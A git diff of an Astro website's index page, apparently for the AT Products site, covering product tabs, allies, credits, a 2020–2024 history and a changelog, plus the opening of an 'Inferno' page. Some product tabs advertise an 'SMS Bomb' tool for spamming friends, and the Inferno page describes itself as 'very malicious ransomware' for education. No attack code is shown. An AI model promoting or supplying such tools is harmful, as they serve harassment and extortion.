-              <h2 class="card-title">SMS Bomb</h2>
-              <p class="mb-0">This is for Android Devices. You can spam message your friends!</p>
-              <div class="tab-link">
-                <a href="/sms" class="btn btn-primary w-100">Visit</a>
+              <div class="products-3 tab-pane fade" id="products-3" role="tabpanel" aria-labelledby="products-3-tab" tabindex="0">
+                <div class="bg-white rounded-2 mb-2"><img class="py-1 rounded-2" src="/media/images/mdickiepro.webp" alt="MDickie Projects"></div>
+                <h2>MDickie Projects</h2>
+                <p class="mb-0">This is a fanmade site about what MDickie has developed since the 1990s!</p>
+                <div class="tab-link">
+                  <a href="/mdickie" class="btn btn-primary w-100">Visit</a>
+                </div>
               </div>
-            </div>
-            <div class="products-5 tab-pane fade" id="products-5" role="tabpanel" aria-labelledby="products-5-tab" tabindex="0">
-              <h2 class="card-title mb-2">Pynx's Projects</h2>
-              <p class="mb-0">Partnered with <a href="https://2983u2.site/">PynxTech</a>, we released these projects!</p>
-              <div class="tab-link">
-                <a href="/pynx" class="btn btn-primary w-100">Visit</a>
+              <div class="products-4 tab-pane fade" id="products-4" role="tabpanel" aria-labelledby="products-4-tab" tabindex="0">
+                <div class="bg-white rounded-2 mb-2"><img class="py-1 rounded-2" src="/media/images/ya.png" alt="SMS Bomb"></div>
+                <h2>SMS Bomb</h2>
+                <p class="mb-0">This is for Android Devices. You can spam message your friends!</p>
+                <div class="tab-link">
+                  <a href="/sms" class="btn btn-primary w-100">Visit</a>
+                </div>
               </div>
-            </div>
-            <div class="products-6 tab-pane fade" id="products-6" role="tabpanel" aria-labelledby="products-6-tab" tabindex="0">
-              <h2 class="card-title mb-2">Public Archive</h2>
-              <p class="mb-0">View most of our old versions here!</p>
-              <div class="tab-link">
-                <a href="/backup/archive" class="btn btn-primary w-100">Visit</a>
+              <div class="products-5 tab-pane fade" id="products-5" role="tabpanel" aria-labelledby="products-5-tab" tabindex="0">
+                <h2>Pynx's Projects</h2>
+                <p class="mb-0">Partnered with <a href="https://2983u2.site/">PynxTech</a>, we released these projects!</p>
+                <div class="tab-link">
+                  <a href="/pynx" class="btn btn-primary w-100">Visit</a>
+                </div>
+              </div>
+              <div class="products-6 tab-pane fade" id="products-6" role="tabpanel" aria-labelledby="products-6-tab" tabindex="0">
+                <div class="bg-white rounded-2 mb-2"><img class="py-1 rounded-2" src="/media/images/AT-ROM-Games-with-logo.webp" alt="AT's ROM Games"></div>
+                <h2>AT's ROM Games</h2>
+                <p class="mb-0">A <strong>discontinued</strong> collection of ROMs from back in 2021!</p>
+                <div class="tab-link">
+                  <a href="/roms" class="btn btn-primary w-100">Visit</a>
+                </div>
+              </div>
+              <div class="products-7 tab-pane fade" id="products-7" role="tabpanel" aria-labelledby="products-7-tab" tabindex="0">
+                <h2>Public Archive</h2>
+                <p class="mb-0">View most of our old versions here!</p>
+                <div class="tab-link">
+                  <a href="/backup/archive" class="btn btn-primary w-100">Visit</a>
+                </div>
               </div>
             </div>
           </div>
         </div>
       </div>
-    </div>
-    <hr>
-    <div id="allies">
-      <h2>Allies</h2>
-      <div class="bg-dark index-border p-1 p-dark-0 rounded-2 text-white">
-        <div class="d-md-flex flex-row">
-          <div class="col-md">
-            <div class="p-2">
-              <div class="mx-md-auto d-table">
-                <a href="https://protdos.com" class="d-mmd-flex"><img src="/media/images/protdos.webp" alt="ProtDos" height="60px" class="d-inline col-auto"><div class="d-inline my-mmd-auto col">ProtDos</div></a>
+      <hr>
+      <div id="allies">
+        <h2>Allies</h2>
+        <div class="bg-dark index-border p-1 p-dark-0 rounded-2 text-white" data-bs-theme="dark">
+          <div class="d-md-flex flex-row">
+            <div class="col-md">
+              <div class="p-2">
+                <div class="mx-md-auto d-table">
+                  <a href="https://protdos.com" class="d-mmd-flex"><img src="/media/images/protdos.webp" alt="ProtDos" height="60px" class="d-inline col-auto"><div class="d-inline my-mmd-auto col">ProtDos</div></a>
+                </div>
               </div>
             </div>
-          </div>
-          <div class="col-md">
-            <div class="p-2">
-              <div class="mx-md-auto d-table">
-                <a href="https://deltasoftai.com" class="d-mmd-flex"><img src="/media/images/deltasoft.webp" alt="Deltasoft AI" height="60px" class="d-inline col-auto me-2"><div class="d-inline my-mmd-auto col">Deltasoft AI</div></a>
+            <div class="col-md">
+              <div class="p-2">
+                <div class="mx-md-auto d-table">
+                  <a href="https://deltasoftai.com" class="d-mmd-flex"><img src="/media/images/deltasoft.webp" alt="Deltasoft AI" height="60px" class="d-inline col-auto me-2"><div class="d-inline my-mmd-auto col">Deltasoft AI</div></a>
+                </div>
               </div>
             </div>
           </div>
-        </div>
-        <div class="m-md-2"></div>
-        <div class="d-md-flex flex-row">
-          <div class="col-md">
-            <div class="p-2">
-              <div class="mx-md-auto d-table">
-                <a href="https://discord.gg/pYa87Bhau9" class="d-mmd-flex"><img src="/media/images/IDA.webp" alt="International Developers Inc." height="60px" class="d-inline col-auto rounded-2 me-2"><div class="d-inline my-mmd-auto col">International Developers Inc.</div></a>
+          <div class="m-md-2"></div>
+          <div class="d-md-flex flex-row">
+            <div class="col-md">
+              <div class="p-2">
+                <div class="mx-md-auto d-table">
+                  <a href="https://discord.gg/pYa87Bhau9" class="d-mmd-flex"><img src="/media/images/IDA.webp" alt="Royal Stack Alliance" height="60px" class="d-inline col-auto rounded-2 me-2"><div class="d-inline my-mmd-auto col">Royal Stack Alliance</div></a>
+                </div>
               </div>
             </div>
           </div>
         </div>
       </div>
-    </div>
-    <hr>
-    <div id="credits">
-      <h2>Credits</h2>
-      <div class="bg-dark index-border p-dark-0 p-1 rounded-2 text-white">
-        <div class="p-2 text-mmd-center">
-          <a href="https://deltasoftai.com">
-            <img src="/media/images/deltasoft.webp" alt="Deltasoft AI" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">Deltasoft AI</a> has <span class="glow-text">created our logo</span>!</div>
-        </div>
-        <hr class="m-2 d-md-none">
-        <div class="p-2 text-mmd-center">
-          <a href="https://protdos.com">
-            <img src="/media/images/protdos.webp" alt="ProtDos" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2"><div class="d-inline">ProtDos</a> allowed us to use their (our current) scroll button and their past Bootstrap v3.</div>
-        </div>
-        <hr class="m-2 d-md-none">
-        <div class="p-2 text-mmd-center">
-          <a href="https://getbootstrap.com">
-            <img src="/media/images/bootstrap.webp" alt="Bootstrap" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">Bootstrap</a> has provided their CSS library for us to use.</div>
-        </div>
-        <hr class="m-2 d-md-none">
-        <div class="p-2 text-mmd-center">
-          <a href="https://astro.build">
-            <img src="/media/images/astro.webp" alt="Astro" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 px-1 ms-1 me-2"><div class="d-inline">Astro</a> has provided their framework which powers our site!</div>
-        </div>
-        <hr class="m-2">
-        <Accordion parent="resourcesAccordion" additionalClasses="m-2" theme="dark">
-          <Fragment slot="accordion-content">
-            <AccordionItem bodyVisible="none" title="Other Credits" id="creditsOne" parent="resourcesAccordion">
-              <Fragment slot="accordion-item-content">
-                <div class="p-2 text-mmd-center d-block">
-                  <p class="mb-0"><a href="https://uigradients.com/">uiGradients</a> for providing gradients for the carousel images when I'm lazy to do it myself.</p>
-                </div>
-              </Fragment>
-            </AccordionItem>
-            <AccordionItem bodyVisible="none" title="Older Credits" id="creditTwo" parent="resourcesAccordion">
-              <Fragment slot="accordion-item-content">
-                <div class="p-2 text-mmd-center">
-                  <div class="p-2">
-                    <p class="d-inline">
-                      <a href="https://w3schools.com"><img src="/media/images/w3schools.webp" alt="W3Schools" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">W3Schools</a> has provided the former navigation buttons.</p></div>
-                  </div>
-                  <div class="mb-md-2"></div>
-                  <hr class="m-2 d-md-none">
-                  <div class="p-2">
-                    <p class="d-inline">
-                      <a href="https://tinkercad.com">
-                        <img src="/media/images/tinkercad.webp" alt="TinkerCAD" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">TinkerCAD</a> has provided their 3D building tool to build our past logo.
-                    </p>
+      <hr>
+      <div id="credits">
+        <h2>Credits</h2>
+        <div class="bg-dark index-border p-dark-0 p-1 rounded-2 text-white" data-bs-theme="dark">
+          <div class="p-2 text-mmd-center">
+            <a href="https://deltasoftai.com">
+              <img src="/media/images/deltasoft.webp" alt="Deltasoft AI" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">Deltasoft AI</a> has <span class="glow-text">created our logo</span>!</div>
+          </div>
+          <hr class="m-2 d-md-none">
+          <div class="p-2 text-mmd-center">
+            <a href="https://protdos.com">
+              <img src="/media/images/protdos.webp" alt="ProtDos" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2"><div class="d-inline">ProtDos</a> allowed us to use their (our current) scroll button and their past Bootstrap v3.</div>
+          </div>
+          <hr class="m-2 d-md-none">
+          <div class="p-2 text-mmd-center">
+            <a href="https://getbootstrap.com">
+              <img src="/media/images/bootstrap.webp" alt="Bootstrap" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">Bootstrap</a> has provided their CSS library for us to use.</div>
+          </div>
+          <hr class="m-2 d-md-none">
+          <div class="p-2 text-mmd-center">
+            <a href="https://astro.build">
+              <img src="/media/images/astro.webp" alt="Astro" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 px-1 ms-1 me-2"><div class="d-inline">Astro</a> has provided their framework which powers our site!</div>
+          </div>
+          <hr class="m-2">
+          <Accordion parent="resourcesAccordion" additionalClasses="m-2" theme="dark">
+            <Fragment slot="accordion-content">
+              <AccordionItem bodyVisible="none" title="Other Credits" id="creditsOne" parent="resourcesAccordion">
+                <Fragment slot="accordion-item-content">
+                  <div class="p-2 text-mmd-center d-block">
+                    <p class="mb-0"><a href="https://uigradients.com/">uiGradients</a> for providing gradients for the carousel images when we are lazy to do it ourselves.</p>
                   </div>
+                </Fragment>
+              </AccordionItem>
+              <AccordionItem bodyVisible="none" title="Older Credits" id="creditTwo" parent="resourcesAccordion">
+                <Fragment slot="accordion-item-content">
+                  <div class="p-2 text-mmd-center">
+                    <div class="p-2">
+                      <p class="d-inline">
+                        <a href="https://w3schools.com"><img src="/media/images/w3schools.webp" alt="W3Schools" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">W3Schools</a> has provided the former navigation buttons.</p></div>
+                    </div>
+                    <div class="mb-md-2"></div>
+                    <hr class="m-2 d-md-none">
+                    <div class="p-2">
+                      <p class="d-inline">
+                        <a href="https://tinkercad.com">
+                          <img src="/media/images/tinkercad.webp" alt="TinkerCAD" height="60px" class="d-block mx-mmd-auto d-md-inline mb-mmd-2 me-2"><div class="d-inline">TinkerCAD</a> has provided their 3D building tool to build our past logo.
+                      </p>
+                    </div>
+                    </div>
                   </div>
-                </div>
-              </Fragment>
-            </AccordionItem>
-          </Fragment>
-        </Accordion>
-      </div>
-    </div>
-    <hr>
-    <div id="history">
-      <h2> History </h2>
-      <div class="position-relative" aria-label="History Bar" id="historyTab" role="tablist" style="margin: 1.55rem !important;">
-        <div class="progress" role="progressbar" aria-label="Progress" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="height: 1px;" id="history-line">
-          <div class="progress-bar" style="width: 0%" id="history-progress"></div>
-        </div>
-        <div id="history-buttons">
-          <button type="button" class="position-absolute top-0 start-0   translate-middle btn btn-sm btn-primary   rounded-3" aria-controls="history-1-pane" aria-label="2020" id="history-1">2020</button>
-          <button type="button" class="position-absolute top-0 start-25  translate-middle btn btn-sm btn-secondary rounded-3" aria-controls="history-2-pane" aria-label="2021" id="history-2">2021</button>
-          <button type="button" class="position-absolute top-0 start-50  translate-middle btn btn-sm btn-secondary rounded-3" aria-controls="history-3-pane" aria-label="2022" id="history-3">2022</button>  
-          <button type="button" class="position-absolute top-0 start-75  translate-middle btn btn-sm btn-secondary rounded-3" aria-controls="history-4-pane" aria-label="2023" id="history-4">2023</button>
-          <button type="button" class="position-absolute top-0 start-100 translate-middle btn btn-sm btn-secondary rounded-3" aria-controls="history-5-pane" aria-label="2024" id="history-5">2024</button>
+                </Fragment>
+              </AccordionItem>
+            </Fragment>
+          </Accordion>
         </div>
       </div>
-      <div class="tab-content products-border rounded-2 p-2" id="history-tabs">
-        <div class="tab-pane fade show active" id="history-1-pane">
-          <h1>2020</h1>
-          <p class="m-0">AT Products was just a simple thought around this time, a company owned by Alex Toucan. It would become genuine with the help of <a href="https://discord.com">Discord</a>, as it gave Alex Toucan some reputation.</p>
-        </div>
-        <div class="tab-pane fade" id="history-2-pane">
-          <h1>2021</h1>
-          <p class="m-0">The journey began in 2021, with <span><a tabindex="0" type="button" class="text-reset text-decoration-dashed" data-bs-toggle="popover" data-bs-title="2021-2022 Logo" data-bs-content="<img src='/media/images/2021logo.png' class='popover-image' width='100%' alt='2021-2022 Logo'>" data-bs-html="true" data-bs-placement="bottom" data-bs-trigger="focus">the past logo</a></span> being completed with a 3D modeling tool, also known as <a href="https://tinkercad.com">TinkerCAD</a>. Also in 2021, especially around late 2021, was when our website was just getting under development. For a school assignment, <a href="https://1-0.atproducts.xyz/roms">AT's ROM Games</a> was chosen as the first web page to be completed. Since the criteria were just for four areas of information to be put on the said web page, and the product was already being made. This would start the adventure of atproducts.xyz, but these sites had <a href="https://code.org">code.org/codeprojects.org</a> domains), which had basic CSS. We finished the main website within the same time area of late 2021, which meant that the <a href="/ehs">Ethical Hacking Society</a> and <a href="/script">The Script Community</a> got their website done around that period as well.</p>
-        </div>
-        <div class="tab-pane fade" id="history-3-pane">
-          <h1>2022</h1>
-          <p class="m-0">The New Year of 2022, brought <a href="/codinghome">CodingHome</a>, and our Documentation. Finally, in February, we bought the domain atproducts.org and put the same code there. But, soon enough, <a href="https://protdos.com">ProtDos</a> permitted us to use their (and our) past CSS, which was <a href="https://getbootstrap.com/docs/3.3/">Bootstrap 3</a>. We changed the CSS to make it dark a month later, sold the domain a month later, and bought the atproducts.xyz domain... a month later. and then <a href="https://2-6.atproducts.xyz">changed it back in June</a>. Between March and June
-            , we introduced <a href="/flash">Flash Documentation</a> and the <a href="/noodle">Noodle Hackerspace</a> as new products. The hugest overhaul would happen on June 3rd, with <a href="https://2-6.atproducts.xyz">2.6</a>. Which replaced <a href="https://getbootstrap.com/docs/3.3/">Bootstrap 3</a> with <a href="https://getbootstrap.com/docs/5.1/getting-started/introduction/">Bootstrap 5</a>. Not much later, on August 21st, <a href="https://2-6-1.atproducts.xyz">we changed the company logo in 2.6.1</a>, to a more <span><a tabindex="0" type="button" class="text-reset text-decoration-dashed" data-bs-toggle="popover" data-bs-title="2022-2023 Logo" data-bs-content="<img src='/media/images/2022logo.png' class='popover-image' width='100%' alt='2022-2023 Logo'>" data-bs-html="true" data-bs-placement="bottom" data-bs-trigger="focus">professional design</a></span>. <a href="https://2-7.atproducts.xyz">2.7</a>, released on September 22nd, changed the nav bar. In late August, AT Products joined and helped create The CodingHome Universe (now the <a href="https://discord.com/invite/FqcSvnrnvc">International Developer's Association</a>), a coders alliance with our current allies.</p>
-        </div>
-        <div class="tab-pane fade" id="history-4-pane">
-          <h1>2023</h1>
-          <p class="m-0"><a href="https://2-12.atproducts.xyz">2.12</a>, released on January 4th, added back dark mode and the switch as <a href="https://blog.getbootstrap.com/2022/12/24/bootstrap-5-3-0-alpha1/">Bootstrap v5.3.0-alpha1</a> was released on December 24th, 2022. What an update to release into the New Year of 2023, since dark mode had been awaited for months beforehand. <a href="https://2-13.atproducts.xyz">2.13</a> would replace a couple of links to the iconic cards that still exist in Web Pages and Pynx's Projects, as most of these cards got replaced by 2.15 (later on), released on January 18th. <a href="https://2-15.atproducts.xyz">2.15</a> brought new introductions, otherwise called heroes with images, released on June 30th. <a href="https://2-16-1.atproducts.xyz">2.16.1</a>, released on September 27th, brought an overhaul to this history tab. On November 29th, we changed the <span><a tabindex="0" type="button" class="text-reset text-decoration-dashed" data-bs-toggle="popover" data-bs-title="2023-Current Logo" data-bs-content="<img src='/media/images/2023logo.png' class='popover-image' width='100%' alt='2023-Current Logo'>" data-bs-html="true" data-bs-placement="bottom" data-bs-trigger="focus">company logo</a></span> again with <a href="https://2-17.atproducts.xyz">2.17</a>. Closing out the year, replacing the code behind this whole project, <a href="https://2-17-1.atproducts.xyz">2.17.1</a>, which released on December 20th, brought in the Astro framework.</p>        
+      <hr>
+      <div id="history">
+        <h2> History </h2>
+        <div class="overflow-auto mt-1 mb-2">
+          <div aria-label="History Bar" id="historyTab" role="tablist" class="historyTabs position-relative">
+            <div class="progress-wrapper">
+              <div class="progress proper-center" role="progressbar" aria-label="Progress" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="height: 10px;" id="history-line">
+                <div class="progress-bar" style="width: 0%" id="history-progress"></div>
+              </div>
+            </div>
+            <div id="history-buttons" class="d-flex justify-content-between">
+              <button type="button" class="btn btn-sm btn-primary rounded-3" aria-controls="history-1-pane" aria-label="2020" id="history-1">2020</button>
+              <button type="button" class="btn btn-sm btn-secondary rounded-3" aria-controls="history-2-pane" aria-label="2021" id="history-2">2021</button>
+              <button type="button" class="btn btn-sm btn-secondary rounded-3" aria-controls="history-3-pane" aria-label="2022" id="history-3">2022</button>
+              <button type="button" class="btn btn-sm btn-secondary rounded-3" aria-controls="history-4-pane" aria-label="2023" id="history-4">2023</button>
+              <button type="button" class="btn btn-sm btn-secondary rounded-3" aria-controls="history-5-pane" aria-label="2024" id="history-5">2024</button>
+            </div>
+          </div>
         </div>
-        <div class="tab-pane fade" id="history-5-pane">
-          <h1>2024</h1>
-          <p class="m-0">2024 has been a slow year, but stuff still came out for the site at least. The first update released was <a href="https://2-17-2.atproducts.xyz">2.17.2</a>, on January 24th. <a href="https://2-18.atproducts.xyz">2.18</a>, releasing on March 27th, would be the second update of the year, and revamped MDickie Projects entirely. <a href="https://2-19.atproducts.xyz">2.19</a>, released on July 10th, 2024, added new features and resources, including the logo popovers you see here in the history section, redesigned several UI elements, updated various components, removed outdated items, and fixed multiple bugs.</p>
+        <div class="tab-content products-border rounded-2 p-2" id="history-tabs">
+          <div class="tab-pane fade show active" id="history-1-pane">
+            <h3>2020</h3>
+            <p class="m-0">AT Products was just a simple thought around this time, a company owned by Alex Toucan. It would become genuine with the help of <a href="https://discord.com">Discord</a>, as it gave Alex Toucan some reputation.</p>
+          </div>
+          <div class="tab-pane fade" id="history-2-pane">
+            <h3>2021</h3>
+            <p class="m-0">The journey began in 2021, with <span><a tabindex="0" href="javascript:void(0)" type="button" class="text-reset text-decoration-dashed" data-bs-toggle="popover" data-bs-title="2021-2022 Logo" data-bs-content="<img src='/media/images/2021logo.png' class='popover-image' width='100%' alt='2021-2022 Logo'>" data-bs-html="true" data-bs-placement="bottom" data-bs-trigger="focus">the past logo</a></span> being completed with a 3D modeling tool, also known as <a href="https://tinkercad.com">TinkerCAD</a>. Also in 2021, especially around late 2021, was when our website was just getting under development. For a school assignment, <a href="https://1-0.atproducts.xyz/roms">AT's ROM Games</a> was chosen as the first web page to be completed. Since the criteria were just for four areas of information to be put on the said web page, and the product was already being made. This would start the adventure of atproducts.xyz, but these sites had <a href="https://code.org">code.org/codeprojects.org</a> domains), which had basic CSS. We finished the main website within the same time area of late 2021, which meant that the <a href="/ehs">Ethical Hacking Society</a> and <a href="/script">The Script Community</a> got their website done around that period as well.</p>
+          </div>
+          <div class="tab-pane fade" id="history-3-pane">
+            <h3>2022</h3>
+            <p class="m-0">The New Year of 2022, brought <a href="/codinghome">CodingHome</a>, and our Documentation. Finally, we bought the domain atproducts.org in February and put the same code there. But, soon enough, <a href="https://protdos.com">ProtDos</a> permitted us to use their (and our) past CSS, which was <a href="https://getbootstrap.com/docs/3.3/">Bootstrap 3</a>. We changed the CSS to make it dark a month later, sold the domain a month later, and bought the atproducts.xyz domain... a month later. and then <a href="https://2-6.atproducts.xyz">changed it back in June</a>. Between March and June, we introduced <a href="/flash">Flash Documentation</a> and the <a href="/noodle">Noodle Hackerspace</a> as new products. The hugest overhaul would happen on June 3rd, with <a href="https://2-6.atproducts.xyz">2.6</a>. Which replaced <a href="https://getbootstrap.com/docs/3.3/">Bootstrap 3</a> with <a href="https://getbootstrap.com/docs/5.1/getting-started/introduction/">Bootstrap 5</a>. Not much later, on August 21st, <a href="https://2-6-1.atproducts.xyz">we changed the company logo in 2.6.1</a>, to a more <span><a tabindex="0" href="javascript:void(0)" type="button" class="text-reset text-decoration-dashed" data-bs-toggle="popover" data-bs-title="2022-2023 Logo" data-bs-content="<img src='/media/images/2022logo.png' class='popover-image' width='100%' alt='2022-2023 Logo'>" data-bs-html="true" data-bs-placement="bottom" data-bs-trigger="focus">professional design</a></span>. <a href="https://2-7.atproducts.xyz">2.7</a>, released on September 22nd, changed the nav bar. In late August, AT Products joined and helped create The CodingHome Universe (now the <a href="https://discord.com/invite/FqcSvnrnvc">International Developer's Association</a>), a coders alliance with our current allies.</p>
+          </div>
+          <div class="tab-pane fade" id="history-4-pane">
+            <h3>2023</h3>
+            <p class="m-0"><a href="https://2-12.atproducts.xyz">2.12</a>, released on January 4th, added back dark mode and the switch as <a href="https://blog.getbootstrap.com/2022/12/24/bootstrap-5-3-0-alpha1/">Bootstrap v5.3.0-alpha1</a> was released on December 24th, 2022. What an update to release into the New Year of 2023, since dark mode had been awaited for months beforehand. <a href="https://2-13.atproducts.xyz">2.13</a> would replace a couple of links to the iconic cards that still exist in Web Pages and Pynx's Projects, as most of these cards got replaced by 2.15 (later on), released on January 18th. <a href="https://2-15.atproducts.xyz">2.15</a> brought new introductions, otherwise called heroes with images, released on June 30th. <a href="https://2-16-1.atproducts.xyz">2.16.1</a>, released on September 27th, brought an overhaul to this history tab. On November 29th, we changed the <span><a tabindex="0" href="javascript:void(0)" type="button" class="text-reset text-decoration-dashed" data-bs-toggle="popover" data-bs-title="2023-Current Logo" data-bs-content="<img src='/media/images/2023logo.png' class='popover-image' width='100%' alt='2023-Current Logo'>" data-bs-html="true" data-bs-placement="bottom" data-bs-trigger="focus">company logo</a></span> again with <a href="https://2-17.atproducts.xyz">2.17</a>. Closing out the year, replacing the code behind this whole project, <a href="https://2-17-1.atproducts.xyz">2.17.1</a>, which released on December 20th, brought in the Astro framework.</p>        
+          </div>
+          <div class="tab-pane fade" id="history-5-pane">
+            <h3>2024</h3>
+            <p class="m-0">2024 has been a slow year, but stuff still came out for the site at least. The first update released was <a href="https://2-17-2.atproducts.xyz">2.17.2</a>, on January 24th. <a href="https://2-18.atproducts.xyz">2.18</a>, releasing on March 27th, would be the second update of the year, and revamped MDickie Projects entirely. <a href="https://2-19.atproducts.xyz">2.19</a>, released on July 10th, 2024, added new features and resources, including the logo popovers you see here in the history section, redesigned several UI elements, updated various components, removed outdated items, and fixed multiple bugs. <a href="https://2-20.atproducts.xyz">2.20</a>, released on October 10th, readded <a href="/roms">AT's ROM Games</a>, and added code highlighting where needed.</p>
+          </div>
         </div>
       </div>
-    </div>
-    <hr>
-    <div id="what-new">
-      <h2> What's New? </h2>
-      <p>
-        <b> Released on:</b> August 21st, 2024.<br>
-        <b>ATP Database:</b> 2.19.2
-      </p>
-      <b>Added</b>
-      <ul>
-        <li>Added Dart support to PSON. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/228" target="_blank" rel="noopener noreferrer">(#228)</a></li>
-        <li>Added more to the 2024 section and rewrote parts of the history section on the Index page. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/223" target="_blank" rel="noopener noreferrer">(#223)</a></li>
-        <li>Added more resources in CodingHome. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/248" target="_blank" rel="noopener noreferrer">(#248)</a></li>
-        <li>Added more links to Hard Time II on MDickie Projects. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/242" target="_blank" rel="noopener noreferrer">(#242)</a></li>
-        <li>Added color mode support for the console message. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/223" target="_blank" rel="noopener noreferrer">(#223)</a></li>
-      </ul>
-      <b>Changed</b>
-      <ul>
-        <li>Updated the Paid Services & Website Creation Policies and Terms. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/249" target="_blank" rel="noopener noreferrer">(#249)</a></li>
-        <li>Updated the Title II & VII Policy. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/249" target="_blank" rel="noopener noreferrer">(#249)</a></li>
-        <li>Changed how the cards render on both Pynx's Projects and Web Projects. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/226" target="_blank" rel="noopener noreferrer">(#226)</a></li>
-        <li>Changed the padding on the credits section on the Index page. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/222" target="_blank" rel="noopener noreferrer">(#222)</a></li>
-        <li>Updated Astro from v4.12.3 to v4.14.4. (<a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/225" target="_blank" rel="noopener noreferrer">#225</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/232" target="_blank" rel="noopener noreferrer">#232</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/235" target="_blank" rel="noopener noreferrer">#235</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/246" target="_blank" rel="noopener noreferrer">#246</a> & <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/250" target="_blank" rel="noopener noreferrer">#250</a>)</li>
-        <li>Updated @astrojs/react from v3.6.1 to v3.6.2. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/235" target="_blank" rel="noopener noreferrer">(#235)</a></li>
-      </ul>
-      <b>Removed</b>
-      <ul>
-        <li>Disabled the option to use IE mode for Microsoft Edge users. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/244" target="_blank" rel="noopener noreferrer">(#244)</a></li>
-      </ul>
-      <b>Bug Fixes</b>
-      <ul>
-        <li>Fixed an issue with the code not rendering properly in CodingHome's C++ Basics. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/221" target="_blank" rel="noopener noreferrer">(#221)</a></li>
-        <li>Fixed an issue if the hero is small, the buttons increase in size on devices below 992 pixels. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/227" target="_blank" rel="noopener noreferrer">(#227)</a></li>
-      </ul>
-    </div>
-  </main>
-  <Footer />
+      <hr>
+      <div id="what-new">
+        <h2> What's New? </h2>
+        <p>
+          <b> Released on:</b> October 23rd, 2024.<br>
+          <b>ATP Database:</b> 2.20.1
+        </p>
+        <b>Added</b>
+        <ul>
+          <li>Added 2 new stories, related to websites. (<a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/319" target="_blank" rel="noopener noreferrer">#319</a> & <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/332" target="_blank" rel="noopener noreferrer">#332</a>)</li>
+          <li>Added a new card page to contain the stories. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/319" target="_blank" rel="noopener noreferrer">(#319)</a></li>
+          <li>Added 2 new sections to the C++ Basics section in CodingHome. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/327" target="_blank" rel="noopener noreferrer">(#327)</a></li>
+          <li>Added buttons for most basics in CodingHome. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/328" target="_blank" rel="noopener noreferrer">(#328)</a></li>
+          <li>Added more resources to CodingHome. (<a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/322" target="_blank" rel="noopener noreferrer">#322</a> & <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/326" target="_blank" rel="noopener noreferrer">#326</a>)</li>
+          <li>Added highlight.js and the Dracula theme to Licenses. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/318" target="_blank" rel="noopener noreferrer">(#318)</a></li>
+        </ul>
+        <b>Changed</b>
+        <ul>
+          <li>The contact form directory is now <code>/contact</code> instead of <code>/form</code>. <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/316" target="_blank" rel="noopener noreferrer">(#316)</a></li>
+          <li>Updated Astro from v4.16.0 to v4.16.7. (<a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/317" target="_blank" rel="noopener noreferrer">#317</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/320" target="_blank" rel="noopener noreferrer">#320</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/321" target="_blank" rel="noopener noreferrer">#321</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/325" target="_blank" rel="noopener noreferrer">#325</a>, <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/329" target="_blank" rel="noopener noreferrer">#329</a> & <a href="https://github.com/Alex-Toucan/atproducts.xyz/pull/331" target="_blank" rel="noopener noreferrer">#331</a>)</li>
+        </ul>
+      </div>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
 <Scripts index="true" />
diff --git a/src/pages/inferno.astro b/src/pages/inferno.astro
index da7852ba2..cd9c0891d 100644
--- a/src/pages/inferno.astro
+++ b/src/pages/inferno.astro
@@ -1,59 +1,61 @@
 ---
 import Head from '../layouts/Head.astro';
 import Scripts from '../layouts/Scripts.astro';
-import HeroPynx      from '../components/secondary/HeroPynx.astro';
-import Navbar    from '../components/Navbar.astro';
-import Footer    from '../components/Footer.astro';
+import HeroPynx from '../components/secondary/HeroPynx.astro';
+import Navbar from '../components/Navbar.astro';
+import Footer from '../components/Footer.astro';
 import BackToTop from '../components/BackToTop.astro';
 ---
 
 <Head title="Inferno" heroid="ehs" description="Inferno is a very malicious ransomware, used for education purposes executable that is relentless." keywords="Inferno, BxPP, AT Products LLC" author="Alex Toucan & Pynx" />
 <div id="page">
   <Navbar />
-  <HeroPynx
